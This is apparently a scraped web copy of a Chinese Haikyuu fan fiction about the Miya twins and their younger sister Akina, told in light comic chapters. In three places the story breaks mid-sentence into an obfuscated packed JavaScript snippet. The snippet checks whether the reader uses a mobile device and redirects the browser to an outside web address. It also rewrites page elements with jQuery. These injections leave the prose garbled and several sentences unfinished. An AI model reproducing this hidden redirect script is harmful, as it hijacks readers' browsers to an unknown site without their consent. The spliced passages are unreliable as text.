《【排球少年】我哥太贱可以退货吗》 1. 秋奈的哥哥们 妹妹的出生是包涵着万众期待的 开玩笑 顶多是那片小区里的几户关系好的邻居罢了。 宫家双子是这社区里的明星宝宝,长得漂亮不说光是双胞胎专用的婴儿车推出去炸街,回头率不比那些豪车弱。 逢人就被夸 “宫太太好福气,双喜临门。一胎就解决两胎的事儿。” 宫妈妈有苦难言,只得讪笑。养育双子的艰辛,只有自己经历过才知道。因为俩小子晚上不睡总唱双簧,彻夜抱在怀里哄觉使得宫妈妈在哺乳期落下了颈椎病。 那段时间是黑暗的,每一天每一天都是在与奶瓶尿不湿战斗。可每每看见双子对自己奶里奶气笑的时候,那一瞬间就能驱散所有的阴翳的情绪。 值得,一切都值得 但如果说再来一次,绝对不干。 宫妈妈决定从此封肚不生。有这两个已经足够了,足够累,也足够幸福。 嘛……人类的欲望并不会因为累而止境。 宫妈妈在怀孕初期,宫家夫妇所准备的都是关于女孩子的衣物。粉红色的小被被,粉红色的小鞋鞋,提前准备好的各类玩具都是冒粉红泡泡的风格。 老一辈人喜欢看肚子的形状来猜测男女。肚尖是儿子,肚圆是女儿。宫爸爸看着宫妈妈日益圆润的肚子,是越看越欢喜。 是女儿,没跑了。 下班回来的第一件事就是先抱着宫妈妈的肚子mua来mua去。 “我的乖闺女,粑粑回来了哟。” “万一是对儿子呢?你重女轻男不要太过分啊。” “不可能。怀儿子哪能有这么可人的肚型啊。就是女儿!” 当然,这种情况延续到宫妈妈怀孕五个月后就戛然而止。五个月,一锤定音的时刻到了。 宫爸爸怀揣着异常紧张的心情带着宫妈妈驱车来到妇保医院进行四维彩超,压了五个月的注,终于可以开奖了。 “孩子很漂亮。” 宫爸爸痴愣地看着显示屏里的两个小孩蜷缩的侧脸,稍微胳膊动一动仿佛就动在了爸爸的心尖儿上。 正如同医生所说,是两个漂亮的孩子,优越的鼻骨不知道在起跑线上能甩普通的孩子多少条街。宫爸爸满脸骄傲和宠溺,“像妈妈,好看!” “以后爸爸要努力挣钱,要多多辛苦了哟。” 啪,是什么东西暗了? 哦,是宫爸爸生女儿的曙光。 —— “你呀,接受现实吧,儿子就儿子,都是自己生的有什么好萎的。” 从医院回来后,宫爸爸就躺在床上一蹶不振,这场面要是给别人看到还以为是去做羊水穿刺,检查出来这孩子是隔壁老王的呢。 “我闺女没了,我闺女没了……” 宫爸爸满脸沧桑地喃喃 四维彩超有个大家默认的暗示守则 是女儿,医生会说准妈妈可以准备小裙子。 是儿子,医生会说爸爸要努力挣钱 毕竟男孩子带来的经济压力主要还是集中在娶老婆方面。于宫爸爸来说,他需要双倍努力。日后的压力可想而知。五个月来日思夜想准备好的女孩名,终究是用不上了。 宫爸爸的心理建设直到双子出生都没准备完全。从前以为是女儿的时候取名字的劲头那叫一个废寝忘食。可一旦知道是儿子后,但凡想到这事儿给他的精神打击就灵感难产,于是一拖再拖。 终于,宫妈妈卸货,她满怀期待地发问 “老公,名字想好了吗?” “没,先叫个小名吧。大儿子狗剩,小儿子狗蛋。贱名好养活。” “老公!” 宫妈妈被气得差点爆发产后抑郁,硬撑着产后的虚弱对着宫爸爸一顿指责。 “儿子怎么了?!儿子就不是你的孩子了?有你这么当爸的吗?手心手背都是肉,你舍得这么对待他们?连个正经名字都不愿意想,还生什么生啊!” 宫爸爸心疼坏了,赶紧安抚宫妈妈情绪 “老婆老婆,你听我说。我知道咱们是儿子后确实是有落差。但,天下有哪个父母不爱自己的孩子的?我从未因为他们是儿子就对他们的爱意减弱半分。正是因为他们是儿子,所以这名字才迟迟定不下来。儿子不比女儿,他们是男孩,要承担作为男孩的责任,需要有胆识和担当。缺一不可。我对这俩小子寄予的期望重着呢,名字哪能那么容易就定下来。何况,男孩糙养好,咱们之间总得有一个唱白脸一个唱黑脸。不然哪压得住他们,这点我心里有数。再给我点时间考虑,你放心,这名字绝对不会让你失望。” 就这样等啊等啊,在宫家双子的满月宴上宫爸爸终于公布了他翻破字典才定下的名字。 哥哥叫侑 弟弟叫治 —— 宫侑和宫治在幼儿园之后性格完全分化。一个动,一个静。当然如果有争执,弟弟丝毫不会因为温吞的个性被哥哥压制。该强则强。 尽管个性南辕北辙,骨子里的皮却是共通的。 两个人打打闹闹地长大,家里就没安生过,宫妈妈每天都处在暴躁老母的状态中过活,血压随着他们的成长节节攀升。她生的不是儿子,是拆迁大队。 但凡是被他们席卷过的地方,没一处可以落脚。 每当她惩罚这俩小子的时候,他们总会用眼泪汪汪的大眼睛委屈巴巴地看向宫妈妈,一人一边大腿地抱住道歉 “麻麻,我错了啦,你不要生气啦。” 必杀 此招百试不爽,宫妈妈看着自家的俩个儿子的脸总是会心软 “这么可爱的孩子怎么会骂的下口。” 是的,宫家兄弟从小便将他们的颜值优势发挥到极致,看脸就能原谅他们的错误并不是传说。随便嘟嘟嘴眨眨眼就能击倒一片老阿姨的慈母心,每次邻里看见这一对生龙活虎的小美男都不忍感叹 “这俩宝贝长得真好看。宫太太,会生就多生几个。这么好的基因可别浪累了,这是为人类造福啊。” “是啊是啊,不打算要个女儿吗?兄弟都这么可爱,生出来的女儿肯定是个小美人。” “儿子是盔甲,女儿是棉袄,贴心的总归还是女儿。宫太太,你们还年轻,再要一个来得及。” 宫妈妈并非没有动过恻隐之心。 比如说,在逛商场买童装的时候,总是看着看着就往女孩的区域走,看着玲琅满目的各式小裙子发呆。 心里不免叹气,男孩的衣服太难买了。还是女孩的衣服好挑,好看花样多。 在侑和治一周岁之后,头发已经生长到可以随意做造型的程度。宫妈妈兴趣来潮,恶搞自家的儿子。拿出两个小发卡,一人一边地夹住。 天,这是谁家的姑娘,这么可爱。说他们是女儿毫无违和感。宫妈妈用拍立得拍下照片,拿给下班的宫爸爸看 宫爸爸调笑说,“我这辈子要女儿的愿望实现了哈哈哈哈。” 要不,再生一个吧。 —— “二胎?” “嗯,我想要个女儿。” “不是说好,不生了吗?怎么改主意了?” 宫妈妈在第一胎的时候,期待的也是女儿。只是看着宫爸爸过于偏心女儿,心想如果自己也这样,儿子未免也太可怜了。虽然期待,但程度不至于像宫爸爸那么深。是女儿最好,是儿子她也爱。都是自己的孩子,只要健康平安的出生成长她就已经很满足了。哪还有男女之分。 “侑和治太皮,互相欺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一边的治倒是没什么大反应,先是反驳了侑,“她们哭,还不是你欺负她们揪她们的小辫子才哭的,笨蛋侑。” 后又问,“妹妹什么时候来?明天吗?” 宫妈妈哭笑不得,“不是哦,大概需要一年。等治侑九岁了,变成大哥哥了妹妹就来了。” “治喜欢妹妹吗?” 治郑重地点了点头,“只要不像侑一样抢我的零食,我就喜欢。” “那……侑呢?” 侑气鼓鼓地看了一眼治,随即焉焉地问,“妹妹会老是哭吗?” 宫妈妈温柔地摸了摸侑的脑袋,“妹妹小,难免会哭。而且女孩子会哭,也不是无理取闹。是因为捣蛋鬼侑欺负了她们才哭。这一点侑是不对的,需要和她们好好道歉才行啊。女孩子需要被保护,而不是欺负。就像妹妹,妹妹需要哥哥的保护,因为侑和治的存在,她会变得勇敢,成长为一个活泼爱笑的女孩子。” 侑听得一知半解,赖皮地朝宫妈妈吐了吐舌头 “那就……要一个妹妹吧。只要不像治这么不听话,我就喜欢。” —— 当晚俩兄弟在房间里秘密磋商。 “要是这个妹妹不听话,我就揪她小辫子。” 治生气地掐住了侑肉嘟嘟的脸 “麻麻说过,不可以欺负妹妹,混蛋侑!” 侑不甘被掐,立即回击 “我要揪她小辫,你也拦不住我!” 治气坏了,一时心急脱口而出 “那我就把妹妹的头发剃光,叫你揪不着!” 哇哦,妹妹听完都感动哭了。这可歌可泣,令人发指的塑料兄妹情 2. 秋奈出生啦 宫妈妈怀孕五个月的时候,宫家兄弟就开始模仿起妈妈的肚子,各自塞了一个排球在自己的衣服里,挺着个大肚子蹦蹦跳跳地跑到宫妈妈面前炫耀说 “看!我肚子里也有妹妹啦!” 尽管他们俩傻蛋还想不通为何妹妹像个球,但他们真切地考虑过,如果妹妹要真是个排球的话他俩勉强会喜欢她。 正所谓春种秋收,宫妈妈在一月份进行的人工授j终于在十月末迎来最终的成果。 [丑,真的好丑。] 趴在婴儿床边的宫侑如是想到 [胖,真的好胖。] 趴在婴儿床边的宫治如是想到 这个妹妹与他们所想象的相差甚远。样子看起来皱巴巴,因为妹妹出生就有八斤,肥嘟嘟的脸配上那些皱巴巴的纹更难看了。 是的,准确来说,妹妹出生体重有八斤二两。 宫妈妈生产虚脱了全部力气,到最后连看一眼妹妹的力气也没有。 在宫爸爸日夜的精心(不科学)喂养下,宫家迎来了一个大肥妞。 一场秋雨一场凉,妹妹的名字,取作秋奈。 而宫家兄弟心照不宣的给这个妹妹另取了个小名,专属他们能叫的小名——肥秋。后来俩人嫌名字长,又把这个小名简化,直接叫“肥” 老人常说,小孩子一天一个样子。刚出生有想扔掉的冲动,或许养着养着就能看了。 肥秋出生第二天就睁开了乌溜溜的眼睛。来看过的亲戚都异口同声地说道:这闺女长相随爸。 宫妈妈别的没想法,只是看到肥秋睁开眼睛后,眼睛看起来大归大,可不是双眼皮多少有些失落。 宫奶奶安慰道:“你和孩子他爸都是双眼皮,孩子肯定也是双眼皮跑不了,过些日子那俩褶子就出来了。” 宫妈妈出院后,宫侑和宫治就在学校里奔相转告,“我有妹妹啦!我有妹妹啦!” 尽管两个人在妹妹出生前嫌弃到不行,尽管这个妹妹长得略微抱歉,可骨子里的血脉相连和亲情羁绊还是让他们无比欢喜她的到来。 标准的口嫌体正直 — 为了不叨扰妈妈休息,宫侑和宫治约定各自分开带小伙伴来家里。 于是,周一宫侑带领着他的“妹妹观光”童子军浩浩荡荡地进了家门。 八个小脑袋把婴儿床围了个水泄不通,都目不转睛地盯着肥秋酣睡的模样。 “宫侑,她……” “嘘!”宫侑一听到一个同学发生立刻做出噤声的手势,压着嗓门提醒到,“轻点儿!” 同学被宫侑突如其来眼神杀给吓得一激灵,“她…她叫什么名字啊?” “肥秋。好听吧?”宫侑得意的朝周围的小伙伴扬了扬眉毛。 “宫…肥秋?” “昂~”宫侑大言不惭,“我给取的。” 看着宫侑这副等着被夸的表情,众人为了照顾他的情绪都忍着没讲真实感受,怕浇灭他的兴头。 然而这个世界上并不缺乏老实人来揭晓真相 “好土,你妹妹会恨你的…” — 周二,轮到了宫治摇摇摆摆得带着他的小团体来到了家里。妈妈看了一眼人数,笑着问 “阿治带了九个人来吗?小朋友越来越多了呀。” 宫治踮脚,把肉肉的小脸放在婴儿床的栏杆边,无敌认真地说道,“嗯,我比侑多带了一个同学。这样就可以证明,我永远比侑更喜欢妹妹一点。” 好奇宝宝们对着一个小宝宝的一举一动都是不解,或是说这么一个浑身都是奶味儿的小家伙对他们来说相当神奇。 “治,她比我弟弟要胖好多。” “我喂的。她哪里胖了,我还怕她饿着,就给她吃了好多好多饭团。” “可是我弟弟喝的是奶粉,小婴儿是不可以吃饭团的。你喂不了。” 宫治皱起了眉头,似乎在生气,“我是给我妈妈吃的,我每天都会给我妈妈吃好多好多饭团。妈妈说过,她吃下去的东西,都是给妹妹的,所以我妹妹就是我喂大的。” 宫治生气自己对妹妹的幸苦喂养就这么轻而易举的被否定了,他难得这么较真,非要把喂养妹妹的功劳揽到自己这里不可。 宫治又把头转回了妹妹这儿,看见妹妹眨巴着眼睛打着小哈欠,他的心一下子就柔软了下来。 “她不胖,现在这样就很好,特别可爱。 — 四个月 肥秋发了奶胖,没有了刚出生的皱巴巴,被白胖代替,抱出去都说这是个敦实姑娘。长相也日渐明晰,确实是像爸爸。宫爸爸是淡颜系的长相,不似宫妈妈和那俩兄弟能一眼勾人。由于肥秋长势喜人,总是会让大部分人关注她的肥嘟嘟而不是与她哥哥们相貌上的差别。在这个阶段,可爱能囊括对她的一切形容。 肥秋在快五个月的时候双眼皮不负期待地……跳出来一只。 对,就一只。 宫侑怎么看怎么变扭,两个守着妹妹睡午觉的左右护法开始了吐槽大会。 “治,肥是个大小眼。好丑。” “我看着也觉得怪怪的。不过,以后会变好的啦。你不要老是说她丑,她听到了会伤心的。” “她这么小,哪里能听得懂?” “她这么小,可是看见我们已经会笑了。肯定能懂!” 宫侑忽然不说话了,颇似理亏却又不是,而是她对妹妹的笑总是无法招架。 如若非要用一个形容词来形容的话,是“治愈” 这个妹妹对他来说很神奇。她总是对着他笑,宫侑对着妹妹再怎么做鬼脸,妹妹都会笑得很开心。 “妈妈,我在吓她,可她一点也不怕我。”宫侑对自己的恶作剧没收获到自己想要的效果,显得有些失落。 宫妈妈失笑,“你这个傻哥哥,妹妹喜欢你还来不及,怎么会怕你。” “妈妈怎么会知道妹妹喜欢我?妹妹和妈妈说过悄悄话吗?!”宫侑不自觉的眼里闪烁出雀跃的光芒,当然他本人不自知,还以为自己“毫不在意”掩藏的很好。 “傻侑,妹妹还小不会说话。能表达的喜怒哀乐的方式除了哭就是笑,她看见侑很开心,就会笑。就说明,妹妹很喜欢侑哦~” 有些人表面上看起来不屑喜欢,但背地里的狐狸尾巴已经翘出了大气层。 于是乎,从那天开始他每天都要抢在宫治前头先见到妹妹,每天在妹妹面前做宫治不会做的鬼脸。因为他觉得这样妹妹会对自己的笑得次数更多,以此来证明,比起宫治妹妹更喜欢他。 — 六个月,肥秋的第二只双眼皮终于跳出来了。像两颗葡萄一样乌溜溜的大眼睛,皮肤白里透红,被宫妈妈抱着走路时小脸蛋就一颤一颤。邻里街坊都对这个小肥秋喜欢到不行,也不知是谁提了一句“长得真像年画娃娃。”一时间那些邻居阿姨们更是把肥秋当成了小吉祥物,争相要抱抱她。 这样的情况持续到肥秋周岁之后,肥秋的奶胖依然夺目,但是五官的像性也逐渐稳定下来,人们开始注意到,她和她的两个哥哥完全不像。 如果不是奶胖加成,单论外貌上的受欢迎程度远不如她的哥哥。比起两个哥哥闪闪发光的,惹人注目的皮囊,肥秋就显得平淡许多。 在肥秋日渐懂事,长到五六岁时,她脑子里已经有概念,自己的外貌不如两位哥哥。当三人一起出门时,人们的夸赞无一列外,都是属于哥哥。 而到了肥秋这里,就改口成,“这孩子真敦实。” 以前只知自己不被夸赞漂亮,再等到肥秋上小六时,她返回去琢磨这些话,已经明白,那些大人对自己其实是无处可夸才夸赞了自己的体型。 小时候胖胖的是可爱,可如今却是秋奈最深的自卑。 比起两位哥哥的精力充沛,肥秋的性格更节能。她的生活方式总是平淡如水,情绪不会出现太大的波动。两位哥哥在排球的门道上可谓是做到了极致,而肥秋每次升学因为不知道兴趣所在而无法确定加入什么社团而烦恼。 当然,这些小烦恼她也总是闷在肚子里不讲。 按照宫侑的说法来评论,这妹妹越长大越不讨人喜欢了。 秋奈性格文气,与此相匹配的还有她缜密的数学思维和逻辑。 所以,宫侑觉得妹妹越长大越不招人喜欢,不是错觉。而是他妹妹,真不愿意搭理家里的两个傻蛋。女孩子本身来得早熟,而秋奈在两个哥哥双倍的历练下变得格外早熟。 秋奈,属于对她的哥哥们,尤其是大哥是智商上的鄙视。这种感觉透露在日常空气里的微妙鄙视,比直接当着宫侑的面大骂“你是笨蛋”还要让人不爽。 波澜不惊的处事方式,也让秋奈高票蝉联三年的班长。众所周知,小学里的男生又皮又欠,总是以欺负女孩子为乐。而唯独不敢欺负秋奈 “秋奈,我早就想问,为什么你可以免疫那些男生的挑衅啊。” “因为,我见过更过分的。他们这些太小儿科了。” “你是指你的双胞胎哥哥吗?” 秋奈点点头。 “你哥哥那么帅能这么欺负你?还有为什么你和你的哥哥长得完全不像啊?” 是啊,为什么长得不像呢? 为什么他们可以被众星捧月,偏偏是自己是个不受欢迎的胖子呢。 秋奈下意识地摸了摸自己圆滚滚的肚子,或许想到那些男生不敢欺负自己,完全是可能在体型上完败。自己一屁股蹲坐死两个精瘦的皮猴,不在话下。 自己又得到了些许宽慰。 “侑,我好看吗?” 秋奈问起大学放假回来的宫侑,宫侑手里划着手机仰躺在沙发生秒速回答 “没我好看。” “凭什么?” “就凭我是你哥,在咱妈肚子里的时候我早就把好东西挑完了,剩下的残次品就留给你了。别不平衡,先来后到讲究的就是一个顺序……” “你他娘的在放什么狗屁!” 秋奈闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293741|167042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声望去,这一声怒骂是宫治喊的,顺势他把干发巾随同那句脏话一同扔在了宫侑的脸上。还未擦干的头发,挂下几滴水珠。宫治顾不上自己刚从浴室出来还光着膀子,因为宫侑的话过于混账。 宫侑扔开毛巾,从沙发上挺尸,正准备开启一级战斗状态,却被宫治的眼色打断。 宫侑这才注意到,秋奈彻底沉默,整个人变得无比阴沉。 宫侑预想开口打混,调节这个尴尬的氛围,蹦跶到嘴边的话硬生生地被宫治给瞪了回去。 稳住宫侑那张叭叭叭的破嘴之后,宫治牵起秋奈的手将她带回房间。 “治,为什么我和你们长得不一样……我也想成为你们这样闪闪发光的人……” 宫治以前一直就在怀疑秋奈寡言除了天生的性格使然,是否与她的自卑有关。如今这个问题,砸下了石锤。 “肥,你是独一无二的。全世界独此一份的小肥秋。我和侑呢,因为我和侑长得很像,这是我一直羡慕你的地方。你的闪光之处,并非只能来自皮囊,你带回家的每一张奥数竞赛的奖状,都是你的闪耀之处。你不必为,与我们没有共同点自卑,你就是你。全世界最好的肥秋。” 秋奈跳下床沿,抱了抱蹲在他面前的宫治,糯糯地说,“治就是治,全世界最好,独此一份的治。” —— 宫侑躺在床上辗转反侧,摇晃的木床搞得宫治也难以入睡。 “装死不会啊?”宫治忍不住吐槽 宫侑却一反常态没有反驳,回应地驴唇不对马嘴 “明天开始,我要带肥去体育馆练练排球了。小姑娘长大知道要漂亮了,按照这个体型发展下去,她永远自卑。” “你就不反思反思你自己,从小到大,你在她面前说了多少次没你好看了?你一直打击她,她能自信吗?小时候能么爱笑,不就是被你给嚯嚯得不愿意理我们了?” 宫侑来劲了,越说越精神,“什么叫我打击她。骗她有意思吗?给她制造在一个充满谎言的童话里,就是对她好了?我已经,很委婉了……你就没错。咱妹长这么大个,你宫治可是有一半的功劳。她要吃什么你就双倍的买给她,她这小肚腩双下巴不是你给惯出来的?喂猪也没你喂得这么猛啊。” 说到这儿,宫侑脑子里蹦出来一个成语——慈母多败儿 宫治难以否认自己对妹妹的过度投喂,很难反驳。然而争来争去,也都是为了解决肥秋的自卑,没必要逞口头之快争个高下。 俩人各自沉默之后,宫治率先开口打破僵局 “你以后在她面前说话注意点,小女孩心思敏感。何况咱妹是个聪明的闷葫芦,小心她记恨你,什么时候被她干掉都不知道。” “明天开始到暑假结束你要全程陪练,不准三天打鱼两天晒网。” “知道了知道了,啰嗦。”宫侑对宫治的叮嘱不耐烦,翻了个身,蒙头盖上了空调被。 —— 秋奈不喜欢运动,但也能明白自己如果想改变体型,现阶段运动是最高效的方式。只不过,她丝毫未受两位哥哥对她耳濡目染的影响,对排球完全不感兴趣,就提出去学校操场跑步。 宫侑想刚开始就随着她的感兴趣的来也没问题,动起来就好。等她爱上运动的感觉,再慢慢引她上排球的路。 毕竟有他这样的标杆存在,谁能不爱排球? 然而,这个计划胎死保安室。 “不准进,只能由家长陪同。” 宫侑念在这里是妹妹的学校暂时压了些许脾气,“我是他哥,怎么不能陪同了?” “哥?”保安大叔讥讽地打量了他们一眼,“路上现认的野鸡兄妹都比你俩要像。” “你怎么说话呢你!”宫侑怒火中烧,“我家户口本上白纸黑字地写着兄妹关系,要我糊你脸上吗!是个瞎子就别带眼镜出去恶心人,区区一个保安拿只鸡毛当令箭,真把自己当跟葱!我们走!稀罕进这里!” 宫侑生气很可怕,在秋奈看来他的每根头发丝儿都在叫嚣着狂妄。 因为怒气未消宫侑两条大长腿走得很快。一路上,秋奈只能踩着小碎步紧跟在他后头才不至于被落下。 秋奈内心自责,如果一开始老老实实跟着宫侑去体育馆练排球就不会有矛盾了。不……说到底,还是自己没有拿到好基因,还是因为自己和哥哥们长得不像才这样被人误会。 秋奈想得出神,完全没注意到宫侑停了下来,迎面与宫侑撞了个满怀。 “你在想什么呢?走路不看路?” 宫侑开口没好气。 秋奈心虚地抬眼看了看宫侑后,没回答又把头低了下去。 宫侑蹲下,捏起秋奈肥嘟嘟的小脸,强行让她与自己平视。 “肥,走路也好做人也好,都要挺胸抬头。你哥哥可是宫侑,自信点儿!还有,不管别人怎么说,在我眼里,咱们就是三胞胎,一模一样!别人看不出来那是他们瞎!” 他们是三胞胎,相差九岁的三胞胎,荒诞又安定。 3. 秋奈的小辫子和压岁钱 秋奈的头发一直是个乖巧的娃娃头,没有留长。原因是五岁的一场“灾难” 周末加班,宫妈妈把小秋奈嘱托给宫侑宫治,让他们带她一天。宫侑看见站在门口的肉圆子不免被她憨憨的样子逗笑,他不是不能理解妈妈喜得爱女后想竭尽装扮她的热切。 可这……未免用力过猛了些。 他蹲下细数秋奈脑袋上妈妈给扎的小揪揪,有五六个。 “老妈这是怕我们在家WiFi不够用吗,就全装你脑袋上了?” “妈妈说了,好看!”秋奈听不懂WiFi,但还是用小奶音肯定妈妈给自己的打扮。 “好好好,好看好看……”宫侑回应地超级敷衍。 一旁的宫治看着秋奈的发型犯了难,“你说,一会儿午睡后她这头发怎么办啊?你会扎吗?” “你看我像是会的人吗?” 宫治这才反应过来他问题确实问错人了,与其浪费时间问,还不如自己上网看教程临时抱佛脚。 俩个人凑在电脑面前,双双紧皱眉头颇有科研的架势。但凡他们在学习上能有现在的这股认真劲儿,期中考也不用俩兄弟手拉手承包倒数第一第二了。 “治,会了吗?” “好像……不难。” “那交给你了。” “艹……” 有一种会,叫做眼睛学会了,手不会。 午睡过后的秋奈还处在放空状态,肉肉的一坨坐在宫侑怀里,一动不动。是个扎头发的好状态。 然而面对秋奈睡得乱糟糟的头发,宫治根本无从下手。脑子里原本记好的步骤,在实战面前一吹就乱。死记硬背行不通,那就只能靠感觉来了。 总之,先把头发梳梳整齐吧。 “怎么打结了?”宫治刚开始第一步就遇到了困难。他怕用蛮力梳开这个结会扯痛秋奈,不用力就梳不开,宫治只能尝试借助巧力。 可这类技术活宫治一个没扎过辫子的大男孩哪能轻易掌握,一个没控制好,秋奈就连头发带脑壳地被宫治往后扯。 霎时,秋奈爆哭。 “你丫的轻点!” 宫侑忙不迭地哄,“痛痛是不是,哥哥帮你呼呼就好啦~” 宫治满肚子委屈没处倒,“你来?站着说话不腰疼,你知不知道这个力道有多难把握?” 这一头乱遭糟的头发肯定不止一处打结,而他只是解决这一个秋奈就哭闹,后面的更没法下手了。 他沉下心静默几分钟思虑最佳解决方案,终于想起了他童年时代的无心之言 “要不,咱们帮秋奈理个发吧,她现在还是留短发方便。” 不靠谱哥哥梳头发都犯难,又怎么能指望他们会tony附身呢。 宫妈妈回家看见秋奈的狗啃短发,留下了生命中不可磨灭阴影。起码,再还需要交由宫治代为照顾的时间里,宫妈妈绝不会再让宫治有任何机会糟蹋女儿的头发,这短发一留就是8年。 —— 宫侑在夜深人静时不免会怀念秋奈三岁大的时候跟在自己屁股后面喊哥哥哥哥的画面,再一想到如今对自己爱理不理的态度,怎么就变了呢……莫非是到了那个时期? “谁家小孩六年级来叛逆期?” “什么?她六年级了?!” “…………” “时光飞逝啊,我还以为她五年级,啧啧啧。”宫侑一边感慨,一边打起了算盘 “六年级,可以交学费了。” 宫治心里颇有不好的预感,“你想干嘛?” 今年过年的压轴项目,还是每一位小孩都喜闻乐见的压岁钱。 宫治宫侑今年刚毕业,一个创业,一个进入了专业球队。这些表面上的东西都是虚浮,在秋奈的眼里现在两位哥哥对比以往来说最大的不同是……他们工作了,可以讨压岁钱了。 秋奈刚从爸爸妈妈那里拿到了两个大红包,便马不停蹄跑去了宫侑宫治的面前,将两只小肉手一摊,一言不发。企图用眼神和心灵感应来传递她其中的意思 [虽然我不说,但你们得自觉。] 宫侑一面暗中稳住身边欲要掏红包的宫治,一面挂假笑装糊涂 [只要你不说,我就没自觉。] “喏,拿去,吃完记得刷牙。”一把核桃就这样放满了秋奈小手,量大手小兜不住核桃直往下掉。 “你不会没准备吧?压岁钱。”秋奈看透他哥装蒜的套路,就干脆直白讨要,也不装什么不好意思了。 “那不能。哥哥今年正式签约效力BJ,怎么能不准备。” 说完他就从床头拿出来一个小猪罐头,搂走了秋奈手里的核桃,继而把存钱罐往秋奈的怀里塞。 这重量出乎秋奈的估量,意外的沉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293742|167042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋奈试探性地摇了摇,满满当当的硬币声。 “这是我攒了两年的硬币,我每天专门留出一枚硬币储存,就是为了今天的日子。这可比从银行卡里取现金有意义多了。以后啊,你坐地铁不愁没零钱。怎么样,是不是很感动。” 是啊,很感动,他妈的都要被这个罐子给重哭了。 秋奈但凡相信宫侑的一句鬼话她就原地暴瘦十斤。 秋奈冷淡地看向他 “侑,我们兄妹之间不必这么生分。简单点就好,明年请用银行卡里的现金,砸死我。你今年没准备,就直说。我原谅你一次不碍事。” 坐在宫侑身边的实在忍不住,噗嗤一声倒在床上捶床板,笑得同时还不忘发表感言,“好逊哦侑。” 宫治反手就掏出两个厚实的红包,“肥,新年快乐,过了今年,马上就是国中生啦。” 宫侑认识到,自家妹妹是个认钱不认人的财迷。正当秋奈心满意足地想要打道回府时,宫侑却叫住了她,满脸奸诈地对她勾了勾手指 “肥啊,想不想从哥哥这里,拿到更多的钱。” 秋奈的表情难得出现微妙的动摇,犹豫了几秒后,点了点头。 “你呢,也是个大小孩了。哥哥今天就亲身教授你生财之道!” …… “你俩幼不幼稚?合伙斗地主把你妹的压岁钱给赢走了?还有没有点做哥哥的样子!” 宫爸爸好不容易安抚秋奈的哭闹后,一脚踹进俩兄弟房门,把这俩王八蛋给揪出来教育。 “愿赌服输啊,她自己乐意玩的。”宫侑直到现在都还没从刚刚的大获全胜的喜悦里脱离 “你们就不会让让她?” “我让了。”宫治发言,“我让的再厉害,也扛不住侑加码。” “放水是对对手最大的不尊重。何况,她就哭得厉害,装的弱,你是没见到她赢我钱那副两眼放光的样子。”虽说是狡辩,但此言不差。小妮子脑袋转得快外加牌风好,秋奈第一次上手,就在第五局把宫侑逼的加码,动了真格。哪想到动过头,逆境翻盘。连储蓄罐里的硬币都没给她剩。 第二天吃完早饭,秋奈带着肿眼泡气冲冲地跑到宫侑的面前宣战 “明年,我肯定连本带利赢回来。” 宫侑在原地愣了几秒,弯下腰玩味地笑着刮了刮她的鼻子,“有种,随我。” 4. 秋奈的二嫂 #中二的秋奈 本是一个稀疏平常的早晨,三人吃着稀疏平常的早饭,可秋奈的嘴里却蹦出了一句不平常的话 “侑,你说我都十一岁了怎么还没开写轮眼啊。” 啪 宫侑宫治手里的勺子同时掉落,二人缓缓转头确认自己与对方听到的是不是同一句话。 是。 俩人一时间乱了手脚,这话从秋奈嘴里说来堪称安倍晋三跳宅舞,画风过于诡异。 [怎么办啊治?] [别问我,她问的是你。] 治捡起盘里的勺子继续埋头苦吃,徒留僵硬的宫侑一个人对付秋奈求知的灼灼目光。 “你姓什么?”宫侑斟酌着开口 “宫。” 得到答案后,宫侑巧妙的一拍桌面,“那就对了!” 这样没头没尾的回答惹得秋奈满脸问号,宫侑面不改色地继续引导 “姓宇智波才能开写轮眼,你要是开了,咱爸脑袋上不得绿了吗?” 这样的答案对一个满心期待写轮眼的少女来说,显然相当幻灭。 秋奈眼中的光一点点一点点的消失,臭着脸把手里的三明治往盘子里一扔 “你好没劲。” 秋奈跳下椅子,一个人气鼓鼓地回了房间。 我没劲?这小丫头片子说我没劲?外头有多少女生为我的幽默神魂颠倒,小孩懂什么?这个评价让宫侑相当不服气,转头幽怨地死盯宫治企图让他为自己正名。 宫治自动屏蔽了他散发的怨念,幽幽开口道,“是挺没劲的,你成功失去了一次和她拉进距离的机会。她找你问这个问题,可不是让你帮她认清开不了写轮眼的事实。” “你知道该怎么回答你不说?” “她问的是你,又不是我,我可没义务替你回答。我这是给你表现机会,免得到时候我拿了满分答案她和我更亲一些你又说我和你抢。自己笨怪谁?” 大清早的吃了早饭,多的是力气没处使,在拌嘴已经没有办法满足他们幼稚的胜负心的时候,二人开展了第四套宫氏兄弟标准广播体操——狐狸打架 #假正经的秋奈(关于二嫂) 宫双子在六年级之后,就再也没有一起庆祝过生日。理由是,方便自己把妹。一个生日会上有两个主角,生怕对方抢风头,尤其宫侑还抢不过宫治。分开过生日正是宫侑的提议。 